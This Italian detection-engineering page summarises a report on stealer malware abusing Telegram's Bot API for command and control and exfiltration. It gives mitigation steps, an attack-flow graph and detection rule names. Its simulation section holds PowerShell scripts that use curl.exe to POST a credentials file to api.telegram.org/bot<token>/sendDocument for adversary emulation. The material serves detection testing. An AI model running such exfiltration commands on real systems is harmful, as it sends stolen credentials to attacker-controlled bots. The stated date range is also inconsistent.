Le Cronache della Rilevazione & Risposta: Esplorando l’Abuso di Telegram
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
L’articolo spiega come diversi attori delle minacce abusano dell’API Bot di Telegram e dei canali nelle imprese per il comando e controllo, l’esfiltrazione di dati e il monitoraggio delle vittime. Famiglie di malware come DeerStealer, Lumma Stealer, Raven Stealer e un builder trojanizzato di XWorm codificano hard bot token o ID di canali e chiamano endpoint come /sendMessage e /sendDocument. Include query di rilevamento per Microsoft Defender e Sentinel focalizzate su righe di comando dei processi sospetti e traffico verso api.telegram.org. La guida chiave è stabilire l’uso legittimo di Telegram e bloccare l’API dove non è necessaria.
Indagine
Il SOC di NVISO ha segnalato quattro tentativi di intrusione osservati tra ottobre 2025 e marzo 2025 in cui Telegram è stato utilizzato in diversi punti del ciclo di attacco. Il resoconto mette in evidenza campagne come Lunar Spider che monitorano le vittime tramite falsi CAPTCHA, DeerStealer che invia notifiche agli operatori tramite curl, Lumma Stealer che preleva dettagli C2 dai canali di Telegram, Raven Stealer che esfiltra collezioni archiviate, e un builder di XWorm che si affida all’API Bot sia per l’esfiltrazione che per C2. Gli analisti hanno estratto indicatori inclusi righe di comando dei processi, destinazioni di rete e nomi di file rilevanti.
Mitigazione
Stabilire un baseline per l’uso legittimo di Telegram, quindi bloccare l’accesso in uscita a api.telegram.org in ambienti dove non è richiesto. Monitorare processi non comuni (ad es. curl, powershell, wscript) che avviano connessioni all’API e indagare su qualsiasi interazione scriptata con l’API Bot. Affinare i rilevamenti per sopprimere comportamenti attesi come i browser noti che lanciano telegram.exe e dare priorità a richieste di long-polling o stile webhook provenienti da binari sospetti o host inaspettati.
Risposta
Quando viene rilevata un’attività, isolare l’endpoint affetto, fermare i processi sospetti e preservare gli argomenti della riga di comando insieme a DNS, proxy e telemetria di rete. Eseguire analisi forensi approfondite per identificare payload associati a campagne come DeerStealer o Raven Stealer. Ruotare eventuali bot token esposti, disabilitare o revocare canali di Telegram abusati e contenere la diffusione bloccando indicatori correlati. Se l’abuso è confermato, escalare il reporting tramite i canali ufficiali di Telegram e documentare l’incidente per prevenire recidive.
graph TB %% Definizioni delle classi classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef process fill:#c2d6f0 classDef malware fill:#f9c2ff classDef operator fill:#ff9900 %% Nodi – Tecniche attack_user_execution[“<b>Tecnica</b> – <b>T1204 Esecuzione da parte dell’utente</b>: Le vittime vengono indotte a eseguire un file eseguibile malevolo incluso in un falso aggiornamento di Google Chrome.”] class attack_user_execution technique attack_software_extensions[“<b>Tecnica</b> – <b>T1176 Estensioni software</b>: Un plugin WordPress compromesso inietta iframe malevoli per distribuire il falso aggiornamento.”] class attack_software_extensions technique action_archive_data[“<b>Tecnica</b> – <b>T1560.001 Archiviazione tramite utilità</b>: PowerShell archivia i file raccolti in un archivio ZIP.”] class action_archive_data technique tech_compression[“<b>Tecnica</b> – <b>T1027.015 Compressione</b>: L’archivio ZIP comprime i dati per ridurre la dimensione ai fini dell’esfiltrazione.”] class tech_compression technique process_powershell[“<b>Processo</b> – <b>T1059.001 PowerShell</b>: Esegue l’archiviazione e successivamente invoca curl per la trasmissione.”] class process_powershell process action_curl[“<b>Azione</b> – Curl: PowerShell richiama curl per inviare l’archivio al server C2.”] class action_curl tool tech_dead_drop[“<b>Tecnica</b> – <b>T1102.001 Dead Drop Resolver</b>: Il malware comunica con endpoint dell’API dei bot di Telegram.”] class tech_dead_drop technique tech_messaging_exfil[“<b>Tecnica</b> – <b>T1213.005 Applicazioni di messaggistica</b>: Informazioni di sistema e credenziali vengono esfiltrate tramite chat/bot di Telegram.”] class tech_messaging_exfil technique tech_unsecured_creds[“<b>Tecnica</b> – <b>T1552.008 Credenziali non protette</b>: Token Discord e password salvate vengono inviati come messaggi di chat.”] class tech_unsecured_creds technique tech_data_obfusc[“<b>Tecnica</b> – <b>T1001 Offuscamento dei dati</b>: I nomi dei canali Telegram sono cifrati con ROT13/ROT15.”] class tech_data_obfusc technique tech_dynamic_resolution[“<b>Tecnica</b> – <b>T1568 Risoluzione dinamica</b>: Il malware decodifica l’identificatore offuscato a runtime.”] class tech_dynamic_resolution technique tech_exfil_c2[“<b>Tecnica</b> – <b>T1041 Esfiltrazione tramite canale C2</b>: L’archivio compresso e i dati sottratti vengono inviati tramite il canale Telegram.”] class tech_exfil_c2 technique %% Nodi – Strumenti / Malware tool_fake_update[“<b>Malware</b> – Falso aggiornamento di Chrome: File eseguibile malevolo distribuito alle vittime.”] class tool_fake_update malware tool_wordpress_plugin[“<b>Strumento</b> – Plugin WordPress <i>header-fix-tester</i>: Inietta iframe malevoli.”] class tool_wordpress_plugin tool %% Nodi operatore (opzionale) op_and1((“AND”)) class op_and1 operator %% Connessioni – Flusso dell’attacco attack_user_execution u002du002d>|distribuisce| tool_fake_update attack_software_extensions u002du002d>|inietta iframe per distribuire| tool_fake_update tool_fake_update u002du002d>|esegue tramite| process_powershell process_powershell u002du002d>|crea| action_archive_data action_archive_data u002du002d>|applica| tech_compression tech_compression u002du002d>|produce l’archivio per| action_curl action_curl u002du002d>|invia i dati a| tech_dead_drop tech_dead_drop u002du002d>|abilita| tech_messaging_exfil tech_messaging_exfil u002du002d>|trasporta| tech_unsecured_creds tech_unsecured_creds u002du002d>|utilizza| tech_data_obfusc tech_data_obfusc u002du002d>|supporta| tech_dynamic_resolution tech_dynamic_resolution u002du002d>|agevola| tech_exfil_c2 tech_exfil_c2 u002du002d>|esfiltra i dati tramite| tech_dead_drop %% Assegnazioni di classe class tool_fake_update malware class tool_wordpress_plugin tool class op_and1 operator
Flusso d’attacco
Rilevamenti
Possibile abuso di Telegram come canale di comando e controllo (tramite dns_query)
Visualizza
Modifica sospetta delle esclusioni di Defender (tramite cmdline)
Visualizza
Processo sospetto utilizza un URL nella riga di comando (tramite cmdline)
Visualizza
IOC (Email) per rilevare: Le Cronache di Rilevamento & Risposta: Esplorando l’abuso di Telegram
Visualizza
Rileva comunicazione non-browser con API Telegram [Connessione di rete Windows]
Visualizza
Rilevamento dell’uso malevolo della API di Telegram [Creazione processo Windows]
Visualizza
Esecuzione di simulazione
Prerequisito: Il controllo pre-volo di telemetria e baseline deve essere passato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrativa & Comandi d’Attacco:
Un avversario con un host Windows compromesso vuole esfiltrare un file di credenziali raccolte (creds.txt) a un bot di Telegram che controllano. Per evitare di memorizzare un binario personalizzato, utilizzano ilcurl.exenativo (installato tramite funzionalità opzionali di Windows 10) per fare POST del file ahttps://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. Il comando è eseguito da PowerShell, assicurando che l’evento di creazione del processo registri una riga di comando che contiene “api.telegram.org”. Poiché il processo ècurl.exe, il filtro della regola (InitiatingProcessFileName: "telegram.exe") non sopprime l’allerta.# Variabili (sostituire con valori controllati dall'attaccante) $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11" $ChatID = "987654321" $FilePath = "C:Tempcreds.txt" # Assicurati che il file esista (dump delle credenziali simulato) Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!" # Esegui l'esfiltrazione tramite l'API Bot di Telegram $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" curl.exe -X POST -F "document=@$FilePath" $Url -
Script di test di regressione: Lo script sotto riproduce i passi esatti, adatto per esecuzioni BAS automatizzate.
#-------------------------------------------- # Test di Regressione – Esfiltrazione API Telegram #-------------------------------------------- param( [string]$BotToken = "REPLACE_WITH_TOKEN", [string]$ChatID = "REPLACE_WITH_CHATID", [string]$TmpDir = "$env:TEMPTelegramBAS" ) # Crea spazio di lavoro temporaneo New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null # File di credenziali simulato $CredFile = Join-Path $TmpDir "creds.txt" "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile # Costruisci URL API $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" # Invoca l'esfiltrazione Write-Host "[*] Esfiltrando $CredFile a Telegram..." curl.exe -X POST -F "document=@$CredFile" $Url # Indicatore di successo semplice (non verifica la consegna) if ($LASTEXITCODE -eq 0) { Write-Host "[+] Comando di esfiltrazione eseguito." } else { Write-Error "[-] Esfiltrazione fallita." } -
Comandi di pulizia: Rimuovere il file temporaneo e la directory; opzionalmente terminare qualsiasi
curl.exeprocessi rimasti.# Pulisci artefatti temporanei Stop-Process -Name "curl" -ErrorAction SilentlyContinue Remove-Item -Path $TmpDir -Recurse -Force Write-Host "[*] Pulizia completata."